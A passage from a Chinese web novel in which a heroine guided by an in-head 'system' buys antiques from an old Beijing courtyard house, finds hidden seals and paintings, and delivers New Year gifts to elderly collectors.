赵磊愣了一下,实在道:“我姥姥姥爷走得早,小时候他们挺疼我的。这院子里的东西,说实话我也不懂,就想留几件我小时候见过的、姥姥姥爷常用的,当个念想。其他的……你要是喜欢,都买走也行,省得我处理。怪麻烦的。” 时墨点点头,心里有了数。 赵磊带着她进了正房,屋里空荡荡的,蒙着厚厚的灰尘,阳光透过破窗户照进来,能看见漫天飞舞的灰尘。 屋子正中间摆着一张掉漆的紫檀木八仙桌,两边各放着一把官帽椅,墙角立着个老座钟,还有几个旧木箱子堆在里屋门口,墙角堆着不少蒙着灰的字画、瓷瓶,全是系统标记出来的珍品。 系统的声音再次响起—— 【叮!检测到清代紫檀木八仙桌一张,官帽椅是同套的!全品!】 【检测到明代青花瓷瓶一件,乾隆年间,全品!】 【宿主!里屋箱子里有好东西!快看看!】 时墨让自己看起来镇定自若,状似随意地扫了一圈,旁敲侧击地问:“赵哥,这屋里这些桌子、椅子、座钟,还有这些字画箱子,您都打算怎么处理?” “嗨,这些啊。”赵磊扫了一眼,随手指了指八仙桌、两把官帽椅,还有那个老座钟,“这桌子椅子还有这个钟,都是我姥姥姥爷以前天天用的,我留着,当个念想。剩下的这些破箱子、烂字画,还有瓶瓶罐罐,我都打算扔了,放着占地方,也没人看,擦灰都费劲。” 时墨目光扫过屋里,心里暗暗咋舌,他随手要扔的大多数,随便一件拿出去,都比他留的那几件值钱得多。赵磊是真不识货,只认感情,不认物件, 这对她来说,既是天大的机缘,也得守住底线,不能坑人。 “赵哥,你留这几件,都是老人常用的,留着念想是应该的。”时墨笑着说,“至于其他的,我要是看上了,肯定按回收价给你钱,绝不占您便宜。” 赵磊听了,心里更舒坦了。这姑娘,不贪财,实在,懂规矩,比那些想着法儿坑他的人强太多了。 他笑着伸出手:“行,那咱就说定了!你给我画图纸,这院子里的东西,除了我留的这几件,其他你看上啥,都按你的市价拿走,绝不含糊。” 两人又聊了几句,时墨趁机在屋里转了一圈,把系统标记的老物件都过了一遍眼。 转到里屋的时候,她忽然看见墙角堆着四个落满灰的大樟木箱,箱子上面还压着几捆发黄的旧账本。 【宿主!樟木箱里有硬货!快打开看看!】系统的声音激动起来。 “赵哥,这些箱子里的东西,你看过了吗?”时墨指着箱子问。 赵磊摆摆手:“没看,估计是老人以前留下的旧衣服、旧被褥什么的,回头直接烧了就行,放着都招虫子。” 时墨心里一动,嘴上却说:“烧了怪可惜的,要不我帮您翻翻?万一有什么老人留下的书信、照片,也是个念想。要是有能用的东西,我也能顺便收了。” 赵磊无所谓地耸耸肩:“行啊,你翻吧。翻出啥有用的,你拿走就行,要是有我姥姥姥爷的照片啥的,你给我留着就行。” 时墨走过去,打开最上面的一个箱子。 里面确实是一些叠得整整齐齐的旧衣物,绸缎面料,绣着暗纹,都是当年的好料子,只是放了多年,有点发潮。她翻到箱子最底下,果然摸到一个用油纸包得严严实实的包裹,四四方方的,摸着是卷轴的质感。 她心里砰砰直跳,面上却镇定自若地把油纸包拿出来,当着赵磊的面慢慢打开——里面是两幅保存完好的字画。 第一幅展开,山水苍润,笔墨淋漓,落款处写着“石海”二字;第二幅,画面极简,孤鸟独立,落款“八大山人”。 时墨的手都忍不住抖了一下。 石海!八大山人!这可是一级文物! 【检测到清代石海山水、花鸟真迹各一件,真品,无暇!】 时墨深吸一口气,小心翼翼地把画卷好,重新用油纸包起来,放回箱子里,转过身来,面色如常地对赵磊说:“赵哥,这几个箱子里有老人留下的字画,还有几件绸缎料子,都没坏。你不要,我就都买回去慢慢整理。” “行,你都拿走吧,我留着也没用。”赵磊压根没往心里去,随口就应了。 正说着,几个工人进来问:“赵老板,这屋里的地面青砖撬不撬?我们打算明天就开挖地基,装上下水管道。” “撬!都撬了换新的!”赵磊随口应道。 “别!”时墨立刻开口拦住,看向赵磊,认真道,“赵哥,这屋里的老青砖是跟宅子一起建的,有年头了,撬了太可惜,磨一磨照样能用,还能保住老宅子的原汁原味。还有挖地基的时候,我得跟您提一句。” 她把赵磊拉到一边,压低声音,语气格外郑重,分寸拿捏得刚刚好:“这种百年老宅子,老辈人都喜欢在房梁上、夹墙里、地基底下藏点东西,你们挖地基的时候要是挖出什么坛坛罐罐,别急着砸,也别私下处理。万一挖出什么有来历的东西,私卖容易惹麻烦。您要是不确定,可以找我,我帮您看看。” 【叮!系统检测到该宅院地下埋藏有高价值物品!位置:正房地基下方约1.5米处有金属反应,疑似金银器!】 【叮!系统检测到……】 时墨被系统一连串的提示震得脑仁疼,在心里默默打断:【行了行了,我知道了,底下全是宝贝。】 【你不拿吗?】 时墨在心里淡淡回了句:【拿什么拿?地下挖出来的无主文物,按规定归国家所有,私下买卖是违法的,我碰了,不仅之前捐国宝的人设全崩了,还得踩法律红线,你想让我进去踩缝纫机?】 【啊???】系统瞬间懵了,【可、可是那是宝贝啊!价值几个亿!】 【再值钱也不是我的,碰了就是祸。】时墨语气很稳,【君子爱财,取之有道,地上的东西我能凭本事买,这种宅底下埋的东西,往往都是有讲究的。有些东西,能碰,有些东西,不能碰。我不想为了几个钱,惹一身臊。】 【系统不懂。】 【你不需要懂,你只需要知道,你宿主我是个有底线的人。】 系统沉默了两秒:【宿主,系统检测到您的道德值高于平均水平。系统表示敬佩。】 时墨差点笑出声。 赵磊听了她的话,心里一凛,他还真没想过这些,连忙点头:“行,我记下了。多亏你提醒了,不然我真让工人随便挖随便扔了!要是真挖到什么拿不准的,我第一时间找你,你帮我掌掌眼。” “客气啥,咱们这也算合作关系了。”时墨笑了笑,“设计图你要是有什么想法,随时去红星机械厂家属院找我,我就住那儿。” “行!时墨妹子,那我可就等你图纸了!” 两人敲定好所有细节,时墨就拉着时建军告辞了。 时建军直到出了胡同,看不见老宅的大门了,才长长地松了口气,压低声音跟时墨说:“我的天,妹,你可吓死我了!你啥时候会画设计图纸了?还扯宋老爷子的虎皮,万一露馅了咋办?” “放心吧,你妹我心里有数。”时墨拍了拍他的胳膊,笑得一脸得意,“图纸我肯定能画出来,不就是个四合院改造吗?小意思。再说了,宋老爷子本来就教过我东西,我也不算扯谎,顶多是延伸了一下。” 毕竟她当年出去找工作学会的第一件事就是包装自己! 干中学嘛!哪有百分百垂直的? 会一点都能说熟知了解,差不多都懂的那就是专业人士! 再说了,她买房子时可什么类型的都看过研究过。 时墨一想起她没住过一天的大平层就心痛,好在现在有个小四合院,心里平衡了。 时建军看着妹妹胸有成竹的样子,也放下了心,嘿嘿一笑:“行,我妹就是厉害!那咱们现在咋办?那些东西怎么拉回来?” “找芬姐去。”时墨笑着道,“她男人不是天天在街道蹲活吗?正好能帮咱拉货,咱们也照顾照顾人家生意。” 兄妹俩拐回了王玉芬家,刚到门口,就看见王玉芬正在院里收晾干的衣服。 王玉芬看见他们回来,连忙迎了上来,一脸期待地问:“妹子,怎么样?那宅子里有看上的东西没?” “有,芬姐,太谢谢你了!要不是你领我们去,我可淘不着喜欢的物件。”时墨询问道,“芬姐,你家赵大哥在家吗?我想请他帮忙拉点东西,不远,就几站地。” “在!在呢!”王玉芬连忙朝屋里喊,“老赵!老赵!快出来!” 赵大勇连忙擦了擦手从屋里出来,三十多岁的汉子,穿着旧棉袄,手上还沾着面粉,一看就是在做饭。 “这是我家那口子,赵大勇。”王玉芬介绍道,“大勇,这是时姑娘,刚才我跟你说的那个。她买了点东西,想请你帮忙拉一下。” 赵大勇憨厚地笑了笑:“行啊,在哪儿?我三轮车就在门口。” “嗯,赵大哥,想麻烦您帮我拉点旧家具,从这边拉到红星机械厂家属院,您看多少钱?”时墨笑着问。 “嗨,多大点事!”赵大勇立刻摆手,“不就是拉趟货吗?顺路的事,给啥钱!我三轮车就在门口,现在就能走!” “那可不行,一码归一码。”时墨说着,从兜里掏出十五块钱,塞进王玉芬手里,“芬姐,这五块是给赵大哥的运费和搬货费,剩下十块是给您的信息费。要不是您告诉我这消息,我也碰不上这好事,这钱您必须拿着。” 十五块钱,够赵大勇跑好几天活赚的了,老赵夫妻俩都愣了,连连说太多了。 “哎哟不行不行!”王玉芬连忙把钱往回推,脸都急红了,“我就是随口说了一句话,哪能要你的钱!妹子你之前已经给我五块钱了,我都够不好意思的了,这钱说啥也不能要!” “就是妹子!拉趟货哪能要这么多钱!最多给两块钱就顶天了!”赵大勇也连忙摆手,“信息费更不能要,就是一句话的事,哪能收钱!” “芬姐,赵大哥,一码归一码。”时墨按住王玉芬的手,语气认真,“之前那五块是买碗的钱,这钱是您应得的。您给我提供了消息,我成了事,就该给您消息费,这是规矩。马上过年了,您拿着这钱,给孩子买点肉,扯块新布,做两身新棉袄,让孩子高高兴兴过个年。” 时建军也在旁边帮腔:“芬姐,您就拿着吧,我妹这人认死理,您要是不拿,她心里过意不去。” 王玉芬看着手里的钱,又看看时墨真诚的眼睛,眼眶瞬间就红了。加上之前的五块,一共二十块钱,足够她家过个肥年了,两个孩子念叨了好久的新棉袄,终于能做上了。 “妹子,你……你真是个好人!”王玉芬的声音都哽咽了,攥着钱的手微微发抖,“姐这辈子都没遇见过你这么心善的人!你放心,以后姐肯定把你的事放在心上,胡同里谁家有老家具、老物件,姐第一时间就给你捎信!绝不让你吃亏!” 赵大勇也在旁边连连点头,憨厚地笑着:“妹子,你放心,拉货的事包在我身上,保证给你拉得稳稳当当的,一点都碰不坏!” 时墨笑着拍了拍她的手:“好,那以后就麻烦芬姐、赵大哥了。提前祝你们新年快乐!” 王玉芬连忙擦了擦眼泪,又赶紧用袖子擦掉,连连点头“好,好!妹子,你等着,我给你装点芥菜疙瘩!我家自己腌的,可香了!” 她转身跑进屋,不一会儿抱出一个小坛子塞进时墨怀里。 “拿着拿着!不值钱的东西,你尝尝!”王玉芬抹着眼泪笑,“我家别的不行,腌咸菜可是一绝!你要是觉得好吃,吃完了再来拿!” 这回时墨没推辞,笑着接了过来:“谢谢芬姐,我就爱吃这个。” 赵大勇蹬上自己的三轮货车,跟着兄妹俩往老宅去。 到了地方,工人已经把时墨要的隔扇、桌椅、樟木箱、旧门窗都搬到了门口,赵磊还在院里等着,看见他们来,笑着打趣:“妹子,还真找了车来拉?我还说让我的工人帮你送过去呢。” “不用麻烦赵哥了,我们自己来就行。”时墨笑着道了谢,看着赵大勇和时建军把一件件老物件小心翼翼地搬上三轮车,用绳子捆得结结实实,心里美得不行。 就在赵大勇搬那套黄花梨隔扇的时候,时墨伸手扶了一把,指尖划过隔扇侧面的缠枝纹雕花,忽然摸到一处不对劲的地方。 雕花下面,竟然有个小小的暗格。 指尖敲上去,是空的!【..top】 55-60 第56章 指尖敲上去, 传来空空的闷响,时墨的心跳瞬间漏了半拍。 【宿主!监测到隔扇暗格里有一对昌化鸡血石印章!顶级品相!价值连城!】系统激动的声音再次炸响,跟打了鸡血似的。 时墨面色如常, 只借着扶隔扇的劲儿, 指尖轻轻摩挲了一下雕花边缘, 果然摸到了一处细如发丝的缝隙, 不仔细摸根本察觉不到。 她不动声色地把隔扇往三轮车里推了推,让藏着暗格的那一侧紧紧贴着车厢内壁,正好挡住外面所有人的视线,这才直起身,笑着跟赵磊道谢:“赵哥, 今天可太麻烦你了, 还让工人师傅帮我们提前搬出来,耽误你们干活了。” “嗨, 这有啥麻烦的。”赵磊摆了摆手, 笑着打趣,“这些破烂玩意儿放我这儿也是占地方, 你能看上, 也算它们找着正经好去处了。等你图纸画出来, 我还得好好谢谢你呢!” “您太客气了, 这都是我分内的事。”时墨笑着应了, 转头招呼赵大勇,“赵大哥,麻烦您帮着捆结实点, 这老木头怕颠,别路上磕着碰着了。” “放心吧妹子!保证给你捆得牢牢的,一点都晃不动!”赵大勇拍着胸脯保证, 手里的麻绳绕着家具一圈又一圈,勒得紧紧的,捆完还用手使劲推了推,确定纹丝不动,才放心地拍了拍手。 时建军也在旁边搭手,递绳子、扶箱子,忙得不亦乐乎,压根没注意到妹妹落在隔扇上的那道深意目光。 没一会儿,东西都装妥当了,时墨跟赵磊道了别,兄妹俩在前面骑自行车带路,赵大勇蹬着三轮车跟在后面,慢悠悠地往胡同里的小院去。 腊月里的北京街头,年味已经浓得化不开了。 路边的摊贩支着棚子,挂满了红通通的春联、福字、灯笼,卖糖葫芦的中年人推着木车,扯着嗓子吆喝;胡同口的空地上,半大小子们拿着小鞭跑来跑去,噼里啪啦的响声混着孩子们的笑闹声,飘得老远。 时墨坐在自行车后座上,看着街边热热闹闹的景象,又回头瞅了瞅三轮车里满满当当的老物件,高兴得晃了晃脚尖。 十几分钟的功夫,就到了小院门口。 赵大勇蹬着三轮车稳稳停在院门口,时建军刚把自行车支稳,时墨就跳下来去开院门。 时建军撸起袖子,就要上去帮忙搬东西。 “别动别动!”赵大勇赶紧上前一步拦住他,嗓门洪亮,“大兄弟,你都付了钱了,这活儿就是我的,哪有让主顾动手的道理?你歇着就行!” “赵大哥,这东西沉得很,哪能让你一个人扛,我搭把手,也能快不少。”时建军说着就要去抬那套黄花梨隔扇。 “哎,真不用!”赵大勇一把拦住他,手上力气大得很,轻轻松松就把那扇比人还高的隔扇扛了起来,脚步稳得跟钉在地上似的,“这活儿我干了十几年了,熟门熟路的,你在旁边帮我看着点门,别让边角磕着门框就行,别再把你这身新衣裳弄脏了。” 他常年蹬三轮车拉货,干惯了力气活,这些看着沉甸甸的老家具,在他手里跟玩似的,一趟趟往屋里搬,每一步都走得稳稳当当,放东西的时候更是轻手轻脚,半点都不磕着碰着。 时建军实在不好意思,只能在旁边搭个下手,扶着东西、开着门,嘴里不停地道谢:“赵大哥,真是太麻烦你了,辛苦辛苦。” “嗨,这有啥辛苦的,应该的。”赵大勇憨厚地笑了笑,扛着第二件家具进了院。 时墨站在院子里,一边指挥着摆放位置,一边忍着笑。她哥这人,就是个闲不住的性子,让他站在旁边看着,比让他干活还难受。 时墨正笑着,忽然察觉到一道视线落在自己身上。 下意识抬头看去,对面谢家二楼的窗户边,一个人影一闪而过,快得像是错觉。 时墨挑了挑眉。 谢时昀? 她没多想,转头继续招呼赵大勇放东西,没把这事放在心上。 而对面楼上,谢时昀背靠着冰冷的墙壁,心跳得有点快。 他刚才只是习惯性地往窗外看了一眼,没想到正好撞见时墨站在院子里。冬日的阳光落在她身上,给她镶了一圈软软的金边,她脸上带着笑,眼睛亮亮地指挥着工人搬东西,那神采飞扬的样子,让他挪不开眼。 看得太入神,没想到竟被她察觉到了。 她会不会觉得自己一直在偷窥? 谢时昀心里又忐忑又后悔,指尖都微微发紧。 他又想起前阵子在鬼市偶遇时墨的情景,她蹲在摊子前,拿着一只不起眼的瓷碗翻来覆去地看,那专注的神情、笃定的眼神,跟此刻一模一样。 原来她是真的喜欢这些老物件,不是一时兴起。 他又多了解了她一点。 谢时昀的嘴角不自觉地扬了起来,这种藏在心底的隐秘欢喜,比做成了一笔大生意都让他高兴。 他悄悄往窗边挪了挪,想再多看她两眼,又怕再被她发现。刚才那一眼,他都不知道她有没有注意到。 他下意识地就想下楼去帮忙,手都碰到门把手了,又猛地停住了脚步。 不行。 时墨这丫头警惕得很,他这会儿要是再突然出现,以她的聪明劲儿,肯定会觉得自己在刻意接近,甚至会觉得他一直在盯着她、监视她,反倒会惹她反感,之前攒下的那点好印象,怕是要全毁了。 谢时昀叹了口气,收回手,依旧站在窗边,目光温柔地追着她的身影转。 看着她站在院子里指挥,看着她偶尔搭把手扶一下家具,看着她笑,看着她忙前忙后。 直到看着所有东西都搬进了堂屋,关上了屋门,才恋恋不舍地收回了目光,指尖轻轻敲了敲窗台,心里默默盘算着什么。 院里,赵大勇把最后一个樟木箱搬进堂屋,直起腰来,抹了把额头上的汗,笑着道:“妹子,都搬完了,你点点数,看看少没少,有没有磕着碰着的地方。” “不用点了赵大哥,太谢谢你了,一趟趟搬得这么仔细,一点磕碰都没有。”时墨笑着递过去一杯刚倒的温水,“快喝口水歇歇,辛苦你了。” “辛苦啥,都是应该的。”赵大勇接过水杯,两口就喝光了,憨厚地笑了笑,“那没啥事,我就先回去了,家里还蒸着馒头呢,孩子他妈一个人在家忙不过来。” “哎,好,赵大哥慢走啊。”时墨和时建军把他送到院门口,看着赵大勇蹬上三轮车,回头冲他们挥了挥手,消失在胡同口。 时墨等他一走,立刻把院门关上,反手插上了门闩。 “妹,你关门干啥?咱不回家了?”时建军一脸莫名其妙。 “等会儿再回,有好东西给你看。” 院门一锁,时墨瞬间就绷不住了,转身三步并作两步,直奔堂屋角落里的那扇黄花梨隔扇,眼睛亮得吓人。 “妹,你干啥呢?慌慌张张的。”时建军看着她急火火的样子,一脸好奇,也赶紧凑了过去。 “哥,帮我搭把手,把隔扇扶起来,动作轻点,千万别磕着。”时墨的语气里满是压不住的激动。 时建军虽然一头雾水,但还是听话地把隔扇稳稳竖了起来,扶得牢牢的:“好了,你要找啥啊?” 时墨蹲在地上,指尖顺着刚才摸到的雕花缝隙,一点点摸索着,手指最终停在一条缠枝纹的末端。 那里雕着一朵小小的莲花,花瓣层层叠叠,雕工精致,跟整个隔扇的花纹融为一体,看着平平无奇。 她先试着轻轻按了一下莲花花心,没反应。 又往左拧了拧,还是纹丝不动。 时建军在旁边看得着急:“你到底找啥呢?要不要我帮你撬开?” “哥你别说话,别瞎动。”时墨盯着那朵莲花,脑子里飞快地转着。 这种老家具的暗格,机关都做得极巧,硬撬只会毁了东西,按、拧、推、拉,总有一种法子能打开。 她试着把莲花花瓣往外轻轻拔了拔,依旧没动静。 最后,她屏住呼吸,试着往右慢慢拧动那朵莲花。 “咔哒”一声轻响。 时墨眼睛瞬间亮了。 那朵莲花竟然转动了半圈。 她屏住呼吸,继续往右拧,又转了整整一圈。 “咔哒。” 莲花下方的雕花突然弹开一个巴掌大的小口,露出一个黑洞洞的暗格,严丝合缝,不仔细找,就算把隔扇拆了都未必能发现。 “我去!”时建军瞪大了眼睛,惊得差点喊出声,赶紧捂住嘴,压低声音,“这里面竟然真有个暗格?!之前弄这个的人也太会藏东西了吧!” 时墨没说话,小心翼翼地伸手进去,从暗格里拿出一个用油布包得严严实实的小包裹。油布都已经泛黄发脆,边缘都磨破了,显然是藏在里面许多年了。 她把包裹轻轻放在桌上,屏住呼吸,慢慢解开油布。 里面是一对用锦缎包着的印章。 锦缎已经褪色了,但花纹还能看出来,绣工精细。 时墨轻轻打开锦缎。 一对昌化鸡血石印章,静静地躺在那里。 血色饱满浓郁,像刚凝固的鲜血,质地温润细腻,顶部雕着瑞兽貔貅钮,雕工精细,栩栩如生,一看就不是凡品。 【宿主!这对鸡血石印章,是清代官造珍品!全品无残!顶级品相!极有可能是宫廷御用之物!】系统在脑海里疯狂欢呼。 时建军凑过来,看着那对红得透亮的印章,低声道:“妹,这……这宝贝是不是值老钱了?” “嗯,是难得的好东西。”时墨小心翼翼地把印章重新用锦缎包好,眼里满是笑意。 时建军愣了半天,忽然皱起眉,脸上露出点犹豫道:“妹,这东西……是人家隔扇里藏着的,说到底还是赵磊家的东西,咱们是不是得给人家送回去啊?平白拿了人家的东西,我这心里总觉得不踏实。” “哥,你想啥呢。”时墨笑着拍了拍他的胳膊,语气笃定,“这隔扇我已经花钱买下来了,一手交钱一手交货,交易都完成了,从里到外,这隔扇都是我的东西了,跟他赵磊半毛钱关系都没有了。再说了,他要是知道这隔扇里有宝贝,能十五块钱卖给我?他本来就把这东西当破烂扔,我买下来,里面的东西自然就是我的,没什么不妥的。” 她顿了顿,又补了一句,语气格外认真:“再说了,就算我送回去,他一个不懂行的,留着这东西,要么被奸商坑了低价骗走,要么就随手扔了糟蹋了。放我这儿,我能好好收着它,才是它最好的去处。” 时建军想了想,也觉得妹妹说得有道理,点了点头:“也是,那赵磊根本不懂这些,给他也是白瞎。不过你这运气也是绝了,买个隔扇,还能捡着这么大的漏。” “这叫缘分。”时墨笑着把油布包收进自己随身带的布包里,贴身放好,“走,帮我看看这几个樟木箱,里面指不定还有好东西呢。” 兄妹俩蹲在地上,把四个樟木箱挨个打开了。 上面几层都是叠得整整齐齐的旧衣物,都是真丝绸缎的料子,虽然放了多年,有点发潮,但依旧能看出是当年的好料子,上面的苏绣牡丹针脚细密,栩栩如生,是现在根本找不到的好手艺。 除了衣裳,还有几床织锦被面,保存得都很完好。箱子中间,夹着不少旧账本、书信,纸张都发黄了,上面的字迹却还清晰。 时墨一件件拿出来,小心地放在一边。 翻到最底下,是一沓发黄的照片。 时墨拿起一张保存最完好的黑白照片,上面是一对穿着长衫旗袍的年轻夫妇,站在一座气派的宅子前,笑得温温柔柔的。 时墨翻过来,照片背面用钢笔写着一行娟秀的小字:“民国二十三年,新婚誌喜。” 而照片里的那座大门,正是他们今天刚去的那套四合院。 她又拿起另一张,是一张全家福,老人坐在中间,旁边站着几个孩子,最大的那个男孩穿着小西装,一脸严肃。 时墨心里有点感慨。 这些照片,记录的是一户人家的兴衰,一段历史的变迁。 她把照片收好,打算下次给赵磊送去。 这些老照片,对他来说,比那些金银玉器更有意义,都是老人留下的念想。 继续往下翻,箱子最底下,用油纸包得严严实实的,正是她之前看到的那两幅石海的字画。 时墨小心翼翼地拿出来,只展开看了一眼,确定保存完好,就重新包好,跟那对鸡血石印章放在了一起。 “妹,那这些衣服料子咋办?看着都还挺好的,就是旧了点,你也穿不上啊。”时建军指着那堆绸缎衣裳,有点发愁。 “这都是好东西,正经的真丝苏绣,比咱们现在穿的的确良、卡其布好太多了。”时墨摸了摸细腻的面料,又指了指上面的刺绣,“哥,这 是正经的苏绣,手工绣的,你看这针脚,这图案,现在根本找不到这么好的绣工了。” 时建军凑过来看了看,确实,那衣服上的牡丹绣得跟真的似的,花瓣层层叠叠,颜色过渡自然,跟画上去的一样。 “那这料子能干啥?” “回去给妈看看,她手巧,看看能不能翻新一下,改点啥。把绣片拆下来,也能做点别的,扔了太可惜了。” “那肯定的!妈那手艺,啥都能做!”时建军连连点头,“她肯定喜欢!” 他最清楚,他妈就喜欢这些好料子,平时给他们兄妹俩做新衣服,从来都舍得用好布,给自己做总挑便宜的布料。 两人把东西都整理妥当,值钱的字画、印章都贴身收好,剩下的家具、绸缎也都归置好,这才发现,太阳都偏西了,早就过了中午饭点,肚子饿得咕咕直叫,唱起了空城计。 “哥,饿坏了吧?”她拍拍手站起来,“走,咱去胡同口那家老面馆,我请你吃炸酱面,我听说他家手擀的面,炸的酱香得很,再配两瓣蒜,一碗热汤下去浑身都暖了。吃完了,咱们去琉璃厂,给孙老他们买年礼。” “现在去?”时建军愣了一下,“妹,你都忙了一上午了,不累啊?要不明天再去呗,也不急这一天两天的。” “赶早不赶晚。”时墨笑着道,“马上就过年了,几位老爷子家里肯定都忙。再说了,他们的喜好都不一样,孙老喜欢老徽墨,宋老就爱旧宣纸,陈老爷子喜欢喝茶,都得挨个挑,礼物必须送到心坎上才行,今天去了,还不一定能挑全呢。” 时建军见她主意已定,也没再说什么,笑着道:“行,那我陪你去!你只管挑东西,我帮你拎着。” 兄妹俩锁了院门,直奔胡同口的老面馆。 面馆不大,就五六张桌子,却收拾得干干净净,一进门就闻见浓郁的酱香。老板是个五十来岁的大爷,系着白围裙,干活利索。 “来两碗炸酱面!”时建军一进门就喊。 “好嘞!稍等啊!”大爷应了一声,锅里的水烧得滚开,面条下锅,不一会儿就捞了上来。 炸酱面端上来,酱香扑鼻,菜码也全——黄瓜丝、豆芽、青豆、心里美萝卜,拌在一起,看着就馋人。 没一会儿,面就端上来了,手擀的面条筋道爽滑,炸得油亮的肉酱铺在上面,配上清爽的面码,一拌开,香得人直流口水。 兄妹俩饿坏了,呼噜呼噜吃得热火朝天,时墨又要了碗面汤,热乎乎地喝下去,浑身都暖烘烘的,寒气全散了。 吃完饭,两人骑车往琉璃厂赶去。 腊月里的琉璃厂,比平时热闹了不止一倍。各家文玩铺子、书店、字画店门口都挂上了红灯笼,贴着“恭贺新禧”的红纸条。红通通的一片,看着就喜庆。 街上人来人往,都是来买文房四宝、年画对联的,还有不少藏家趁着年前来淘老物件,吆喝声、讨价还价声、说笑声混在一起,热闹非凡。 时墨带着时建军,轻车熟路地逛着,一家家铺子细细看过去。 给孙老挑了一块老徽墨,那墨锭上描着金,打开盒子就有一股清香,是正经的百年老店的东西;又给宋老选了一刀民国时期的玉版宣,纸质细腻发黄,摸上去又软又韧,保存完好;最后又给陈老爷子买了两罐张一元头采的明前龙井…… 时墨每一样都挑得极用心,正好合了几位老爷子的喜好。 东西都挑齐了,时墨看着身边两手拎得满满当当、脸都被挡住了的哥哥,忽然想起什么,笑着撞了撞他的胳膊:“哥,光顾着看我挑东西了,你就没想过,过年给晓娟买个礼物?下次见面给人家,也能拉近距离啊。” 时建军瞬间就红了脸,耳朵尖都红透了,一脸不好意思:“啊?这……这合适吗?会不会太唐突了?” “有啥唐突的,过年送个新年礼物,多正常的事。”时墨挑眉道,“你要是不主动点,难道还等着人家姑娘来找你啊?我可告诉你,过了这村没这店了。” 时建军被她说得心里一紧,瞬间就急了,凑到妹妹身边道:“那买啥啊?我也不知道女孩子喜欢啥。妹,你帮我挑挑呗,你眼光好,肯定错不了。” 时墨憋着笑,拉着他进了旁边的百货铺子。 铺子里挺热闹,卖什么的都有。时墨在柜台前转了一圈,挑了一条大红色的羊毛围巾,又配了一副同色系的羊绒手套,都是时下最流行的款式,颜色鲜亮,又实用。 “就这个。”时墨把东西递给他,“冬天晓娟骑车去学校上课,风大,围巾手套正好用得上,实用又贴心,也不算贵重,她收着也不会有压力。” 时建军拿着那条软乎乎的红围巾,翻来覆去地看,越看越喜欢,一个劲地跟妹妹道谢:“妹,太谢谢你了!你可真是我的亲妹妹!等哥成了,肯定请你吃大餐!” “行了行了,别贫了。”时墨笑着拍了他一下,“东西买了,下次见面可得主动点,我还等着晓娟当我嫂子呢。” “知道了!”时建军笑得合不拢嘴,宝贝似的把围巾手套用盒子装好。 回家的路上,他骑着自行车,嘴角就没放下来过,骑得都比平时稳当不少。 “妹,”他忽然开口,声音里带着点不确定,“你说……她会喜欢吗?” 时墨在后座笑得不行:“放心吧哥,肯定喜欢,女孩子都喜欢这个。” 晚上回到家,李秀兰和时爱国看着兄妹俩拎回来的大包小包,又听他们说了今天捡漏的事,又惊又喜。 时爱国拿着那对鸡血石印章用放大镜仔细瞧看,虽然不懂行,也知道是难得的好东西,一个劲地叮嘱时墨好好收着,别弄丢了。 李秀兰摸着那些绸缎料子,更是喜欢得不行,翻来覆去地看,嘴里不停念叨着:“这料子可真好,你看这绣工,啧啧,现在可找不着这么好的手艺了。” “这件月白的,颜色好,改一改能给你做件小袄。这几件绣花的,把绣片拆下来,能做个靠垫,或者做个桌布,都是好东西……” 时爱国坐在旁边,看着妻子高兴的样子,也跟着笑:“行了行了,别念叨了,先吃饭。墨墨和建军跑了一天,早该饿了。” 一家人围着桌子,热热闹闹地聊了半晚上,满屋子都是欢声笑语。 晚饭过后,爸妈回屋休息了,时墨把给几位老爷子的年礼都用红纸包好,系上细纸绳,工工整整地写上名字,码在桌上。 包完礼物,她又拿出草稿纸和铅笔,趴在桌上,开始构思赵磊那套四合院的设计图。 她前世买房装修前,翻遍了无数新中式装修案例,脑子里存着各种成熟的设计思路。 她先画了个整体的布局草图,把之前跟赵磊说的思路一点点落在纸上。正房怎么改,厢房怎么用,院子怎么布局,花园怎么设计……寥寥几笔,就把院子的格局、改造的重点都画得清清楚楚。 寥寥几笔,就把院子的格局、改造的重点画得清清楚楚,细节处也标注得明明白白。 她画得入神,不知不觉就画了好几页,连时间都忘了。 【系统检测到宿主连续用脑超过一小时,已触发“躺平保护机制”!】 【请宿主立即停止工作,上床休息,保证充足睡眠。否则,明日将记录违规行为,扣除相应能量币。】 “知道了,画完这最后一点就睡。”时墨随口应付了两句,又添了几笔门窗改造的细节,才把笔放下,伸了个大大的懒腰,浑身的骨头都咔咔响。 她把草图收好,洗漱完毕,就上床睡觉了。 第二天一早,时墨特意给自己编了个时兴的麻花辫,换上了一身干净的衣裳,拎着包好的年礼,骑着自行车去了聚贤斋。 还没进门,就听见里面热热闹闹的,有人在说笑,有人在争论,夹杂着茶杯碰撞的轻响。 她推门进去,一股暖意裹着墨香扑面而来。 屋里里生了炉子,暖烘烘的,几位老前辈都在。 孙老坐在靠窗的太师椅上喝茶,宋老正跟刘老凑在一起,争论一幅山水轴的真伪,陈老坐在旁边翻着一本旧帖,还有几个面生的藏家,正陪着几位老爷子聊天。 “哎哟,时丫头来了!”孙老一眼就看见她,笑着招手,“快进来快进来!” 宋老也立刻放下手里的画,笑道:“墨墨来了?正念叨你呢!” “宋爷爷,孙爷爷,陈爷爷,给各位老爷子拜个早年了!”时墨笑着走进去,把手里的年礼一一递过去,“这是给您几位的小心意,不成敬意,祝各位老爷子新年身体健康,万事顺遂,越活越精神!” “你这丫头,来就来,还带什么东西!”孙老笑着接过礼物,嘴上说着客气话,眼里却满是欢喜。 陈老拆开那两罐龙井,打开闻了闻,眼睛都亮了:“哟!张一元的明前龙井!丫头有心了!就好这一口!” 宋老拆开那包玉版宣,捻了捻纸张,连连点头,笑得满脸褶子都舒展开了:“民国玉版宣!好东西!好东西!这纸现在可不好找了,丫头,你可真是送到我心坎里了!” 孙老拿着那块老徽墨,凑到鼻尖闻了闻,笑得合不拢嘴:“正宗老徽墨!丫头,你这是要把我们几个老家伙惯坏啊!” 几位老爷子拆开礼物,发现每一样都正好踩中了自己的喜好,更是高兴得不行,拉着时墨问长问短,越看越喜欢。 旁边几个藏家看着,纷纷打趣:“宋老,您这是哪儿来的小徒弟?这么懂事,眼光还这么毒!” “那是,我们家丫头,可不是一般人!”宋老笑得一脸得意。 几人热热闹闹地聊了半天,看着宋老心情正好,时墨才不好意思地凑过去,小声坦白道:“宋爷爷,有个事,我得跟您赔个不是,您可别生我的气。” 宋老放下手里的宣纸,疑惑地看着她:“怎么了丫头?好好的道什么歉?” 